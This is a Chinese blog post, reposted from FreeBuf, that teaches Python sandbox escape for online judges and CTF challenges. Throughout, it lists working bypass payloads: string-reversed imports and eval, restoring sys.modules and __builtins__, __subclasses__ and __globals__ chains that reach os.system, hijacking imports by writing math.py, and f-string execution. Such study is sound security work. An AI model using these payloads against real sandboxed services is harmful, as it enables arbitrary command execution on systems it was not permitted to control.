Python 沙箱逃逸

前言

沙箱逃逸本质上最终目的是执行任意系统命令,次一点的是写文件,再次一点的是读文件。

一般在在线oj (online judge )中或者在CTF比赛中为了防止恶意用户任意执行Python代码而做出的一些限制,一般将Python运行在沙箱中。沙箱会对一些敏感的函数进行禁用,例如os。我们所需要做的便是研究如何逃逸沙箱与相应的防护措施。

系统命令

一般来说在Python中可以执行系统命令的方式有许多种:

1
2
3
4
5
6
7
8
9
os
commands:仅限2.x
subprocess
timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
...

一般来说通过这些函数库我们便可以执行任意高危指令,对于oj平台来说如果不采取措施应对,那就只有被打的份了。

导入 import 的各种方式

我们如果直接禁用import os会怎么样?

1
2
3
import os
import os
import os

可以看到如果我们多加入几个空格就可以绕过这个防护,同时Python 能够 import 的可不止 import,还有 __import____import__('os')__import__被干了还有 importlibimportlib.import_module('os').system('ls')

这样就安全了吗?实际上import可以通过其他方式完成。回想一下 import 的原理,本质上就是执行一遍导入的库。这个过程实际上可以用 execfile 来代替:

1
2
execfile('/usr/lib/python2.7/os.py')
system('ls')

不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:

1
2
3
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')

这个方法倒是 2.x3.x 通用的。

不过要使用上面的这两种方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被干掉的话,还可以确认一下,:

1
2
import sys
print(sys.path)

花式处理字符串

如果在代码中禁用了os,我们还可以通过字符串各种方式的变换来实现引入:

1
2
3
4
5
__import__('so'[::-1]).system('ls')
----------------------------------------
b = 'o'
a = 's'
__import__(a+b).system('ls')

或者

1
2
3
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
----------------------------------------
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

evalexec 都是相当危险的函数,execeval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、Base64hexrot13等等方式构造出来…

恢复 sys.modules

sys.modules 是一个字典,里面储存了加载过的模块信息。如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库例如 os 是默认被加载进来的,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

如果将 ossys.modules 中剔除,os 就彻底没法用了:

1
2
3
4
5
6
>>> sys.modules['os'] = 'not allowed'
>>> import os
>>> os.system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'

注意,这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os

看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:

1
2
3
4
5
sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

最后还有一种利用 __builtins__ 导入的方式,下面会详细说。

花式执行函数

通过上面内容我们很容易发现,光引入 os 只不过是第一步,如果把 system 这个函数干掉,也没法通过os.system执行系统命令,并且这里的system也不是字符串,也没法直接做编码等等操作。我遇到过一个环境,直接在/usr/lib/python2.7/os.py中删了system函数。。。

不过,要明确的是,os 中能够执行系统命令的函数有很多:

1
2
3
4
5
6
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
...

应该还有一些,可以在这里找找:

2.x 传送门

3.x 传送门

过滤system的时候说不定还有其他函数给漏了。

其次,可以通过 getattr 拿到对象的方法、属性:

1
2
import os
getattr(os, 'metsys'[::-1])('whoami')

不让出现 import也没事:

1
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

一样可以。这个方法同样可以用于逃逸过滤 import 的沙箱。关于 __builtins__,见下文。

getattr 相似的还有 __getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。更具体的这里就不解释了,有兴趣的话可以搜搜。

builtins 、builtinbuiltins

先说一下,builtinbuiltins__builtin____builtins__的区别:首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。顺便说一下,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块,这里也不再赘述了,有兴趣的搜搜就明白了。

2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

2.x:

1
2
3
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:

1
2
3
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

但是,__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入,我估计是为了统一 2.x3.x。不过__builtins____builtin__builtins是有一点区别的,感兴趣的话建议查一下,这里就不啰嗦了。不管怎么样,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

1
2
3
4
5
6
7
'__import__' in dir(__builtins__)
-------------------------------------
__builtins__.__dict__['__import__']('os').system('whoami')
-------------------------------------
'eval' in dir(__builtins__)
-------------------------------------
'execfile' in dir(__builtins__)

那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:

1
__builtins__.__dict__['eval'] = 'not allowed'

或者直接删了:

1
del __builtins__.__dict__['eval']

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__。不过,我们在使用 reload 的时候也没导入,说明reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。还有一种情况是利用 exec command in _global 动态运行语句时的绕过,比如实现一个计算器的时候,在最后有给出例子。

这里注意,2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload。你看,reload 的参数是 module,所以肯定还能用于重新载入其他模块,这个放在下面说。

通过继承关系逃逸

在 Python 中提到继承就不得不提 mromro就是方法解析顺序,因为 Python 支持多重继承,所以就必须有个方式判断某个方法到底是 A 的还是 B 的。2.2 之前是经典类,搜索是深度优先;经典类后来发展为新式类,使用广度优先搜索,再后来新式类的搜索变为 C3 算法;而 3.x 中新式类一统江湖,默认继承 object,当然也是使用的 C3 搜索算法。。。扯远了扯远了,感兴趣的可以搜搜。不管怎么说,总是让人去判断继承关系显然是反人类的,所以 Python 中新式类都有个属性,叫__mro__,是个元组,记录了继承关系:

1
2
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

类的实例在获取 __class__ 属性时会指向该实例对应的类。可以看到,''属于 str类,它继承了 object 类,这个类是所有类的超类。具有相同功能的还有__base____bases__。需要注意的是,经典类需要指明继承 object 才会继承它,否则是不会继承的:

1
2
3
4
5
6
7
8
9
>>> class test:
... pass
...
>>> test.__bases__
>>> class test(object):
... pass
...
>>> test.__bases__
(<type 'object'>,)

那么知道这个有什么用呢?

由于没法直接引入 os,那么假如有个库叫oos,在oos中引入了os,那么我们就可以通过__globals__拿到 os(__globals__是函数所在的全局命名空间中所定义的全局变量)。例如,site 这个库就有 os

1
2
import site
site.os

也就是说,能引入 site 的话,就相当于有 os。那如果 site 也被禁用了呢?没事,本来也就没打算直接 import site。可以利用 reload,变相加载 os

1
2
3
4
5
6
7
>>> import site
>>> os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'os' is not defined
>>> os = reload(site.os)
>>> os.system('whoami')

还有,既然所有的类都继承的object,那么我们先用__subclasses__看看它的子类,以 2.x 为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
>>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
...
(0, <type 'type'>)
(1, <type 'weakref'>)
(2, <type 'weakcallableproxy'>)
(3, <type 'weakproxy'>)
(4, <type 'int'>)
(5, <type 'basestring'>)
(6, <type 'bytearray'>)
(7, <type 'list'>)
(8, <type 'NoneType'>)
(9, <type 'NotImplementedType'>)
(10, <type 'traceback'>)
(11, <type 'super'>)
(12, <type 'xrange'>)
(13, <type 'dict'>)
(14, <type 'set'>)
(15, <type 'slice'>)
(16, <type 'staticmethod'>)
(17, <type 'complex'>)
(18, <type 'float'>)
(19, <type 'buffer'>)
(20, <type 'long'>)
(21, <type 'frozenset'>)
(22, <type 'property'>)
(23, <type 'memoryview'>)
(24, <type 'tuple'>)
(25, <type 'enumerate'>)
(26, <type 'reversed'>)
(27, <type 'code'>)
(28, <type 'frame'>)
(29, <type 'builtin_function_or_method'>)
(30, <type 'instancemethod'>)
(31, <type 'function'>)
(32, <type 'classobj'>)
(33, <type 'dictproxy'>)
(34, <type 'generator'>)
(35, <type 'getset_descriptor'>)
(36, <type 'wrapper_descriptor'>)
(37, <type 'instance'>)
(38, <type 'ellipsis'>)
(39, <type 'member_descriptor'>)
(40, <type 'file'>)
(41, <type 'PyCapsule'>)
(42, <type 'cell'>)
(43, <type 'callable-iterator'>)
(44, <type 'iterator'>)
(45, <type 'sys.long_info'>)
(46, <type 'sys.float_info'>)
(47, <type 'EncodingMap'>)
(48, <type 'fieldnameiterator'>)
(49, <type 'formatteriterator'>)
(50, <type 'sys.version_info'>)
(51, <type 'sys.flags'>)
(52, <type 'exceptions.BaseException'>)
(53, <type 'module'>)
(54, <type 'imp.NullImporter'>)
(55, <type 'zipimport.zipimporter'>)
(56, <type 'posix.stat_result'>)
(57, <type 'posix.statvfs_result'>)
(58, <class 'warnings.WarningMessage'>)
(59, <class 'warnings.catch_warnings'>)
(60, <class '_weakrefset._IterationGuard'>)
(61, <class '_weakrefset.WeakSet'>)
(62, <class '_abcoll.Hashable'>)
(63, <type 'classmethod'>)
(64, <class '_abcoll.Iterable'>)
(65, <class '_abcoll.Sized'>)
(66, <class '_abcoll.Container'>)
(67, <class '_abcoll.Callable'>)
(68, <type 'dict_keys'>)
(69, <type 'dict_items'>)
(70, <type 'dict_values'>)
(71, <class 'site._Printer'>)
(72, <class 'site._Helper'>)
(73, <type '_sre.SRE_Pattern'>)
(74, <type '_sre.SRE_Match'>)
(75, <type '_sre.SRE_Scanner'>)
(76, <class 'site.Quitter'>)
(77, <class 'codecs.IncrementalEncoder'>)
(78, <class 'codecs.IncrementalDecoder'>)

可以看到,site 就在里面,以 2.x 的site._Printer为例:

1
''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']

os 又回来了。并且 site 中还有 __builtins__

这个方法不仅限于 A->os,还可以是 A->B->os,比如 2.x 中的 warnings

1
2
3
4
5
6
7
8
>>> import warnings
>>>
>>> warnings.os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'os'
>>> warnings.linecache # | 导入成功
>>> warnings.linecache.os # | 导入成功

在继承链中就可以这样:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')

顺便说一下,warnings这个库中有个函数:warnings.catch_warnings,它有个_module属性:

1
2
3
4
    def __init__(self, record=False, module=None):
...
self._module = sys.modules['warnings'] if module is None else module
...

所以通过_module也可以构造 payload:

1
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')

3.x 中的warnings虽然没有 linecache,也有__builtins__

同样,py3.x 中有<class 'os._wrap_close'>,利用方式可以为:

1
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')

顺便提一下,object 本来就是可以使用的,如果没过滤这个变量的话,payload 可以简化为:

1
object.__subclasses__()[117].__init__.__globals__['system']('whoami')

还有一种是利用builtin_function_or_method__call__

1
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')

或者简单一点:

1
[].__getattribute__('append').__class__.__call__(eval, '1+1')

还可以这样利用:

1
2
3
4
5
6
class test(dict):
def __init__(self):
print(super(test, self).keys.__class__.__call__(eval, '1+1'))
# 如果是 3.x 的话可以简写为:
# super().keys.__class__.__call__(eval, '1+1'))
test()

上面的这些利用方式总结起来就是通过__class____mro____subclasses____bases__等等属性/方法去获取 object,再根据__globals__找引入的__builtins__或者eval等等能够直接被利用的库,或者找到builtin_function_or_method类/类型__call__后直接运行eval

最后,继承链的逃逸还有一些利用第三方库的方式,比如 jinja2,这类利用方式应该是叫 SSTI,可以看这个:传送门,这里就不多说了。

文件读写

2.x 有个内建的 file

1
2
3
4
5
>>> file('key').read()
'xxx\n'
>>> file('key', 'w').write('xxx')
>>> file('key').read()
'xxx'

还有个 open,2.x 与 3.x 通用。

还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines®。

为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来:

math.py

1
2
import os
print(os.system('whoami'))

调用

1
import math

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re

1
2
3
4
>>> 're' in sys.modules
True
>>> 'math' in sys.modules
False

当然在import re 之前del sys.modules['re']也不是不可以…

最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

读文件暂时没什么发现特别的地方。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

1
__builtins__.open('key').read()

或者

1
().__class__.__base__.__subclasses__()[40]('key').read()

其他

过滤[]:这个行为不像是 oj 会做得出来的,ctf 倒是有可能出现。应对的方式就是将[]的功能用pop__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0) ):

1
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()

利用新特性:PEP 498 引入了 f-string,在 3.6 开始出现:传送门,食用方式:传送门。所以我们就有了一种船新的利用方式:

1
f'{__import__("os").system("whoami")}'

文章来自于: https://www.freebuf.com/articles/system/203208.html
感谢师傅: Macr0phag3


Python 沙箱逃逸
https://equinox-shame.github.io/2022/03/14/Python 沙箱逃逸/
作者
梓曰
发布于
2022年3月14日
许可协议